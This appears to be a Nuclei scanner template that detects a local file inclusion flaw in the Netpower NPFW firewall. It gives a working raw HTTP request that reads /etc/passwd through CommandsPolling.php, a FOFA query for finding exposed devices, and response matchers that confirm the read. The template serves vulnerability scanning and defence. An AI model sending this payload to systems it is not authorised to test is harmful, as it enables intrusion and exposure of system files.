id: netpower-npfw-lfi

info:
  name: Netpower NPFW - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    Netpower NPFW firewall has an arbitrary file read vulnerability. Due to insufficient code filtering, it can read any file on the server
  reference:
    - https://forum.butian.net/article/241
  metadata:
    max-request: 1
    fofa-query: '"Netpower" && "/direct"'
  tags: netpower,npfw,lfi,vuln

http:
  - raw:
      - |
        POST /direct/polling/CommandsPolling.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        command=ping&filename=%2Fetc%2Fpasswd&cmdParam=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - '{"type":"event"'
          - 'dealing'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b13baa719e5363856e0f6e3962c8534417ecc30acef70ac1b208e5e54015008602210098220b2a211334a2f841d2ba30a7426d4f661cb07364fee01725b876f33292d7:922c64590222798bb761d5b6d8e72950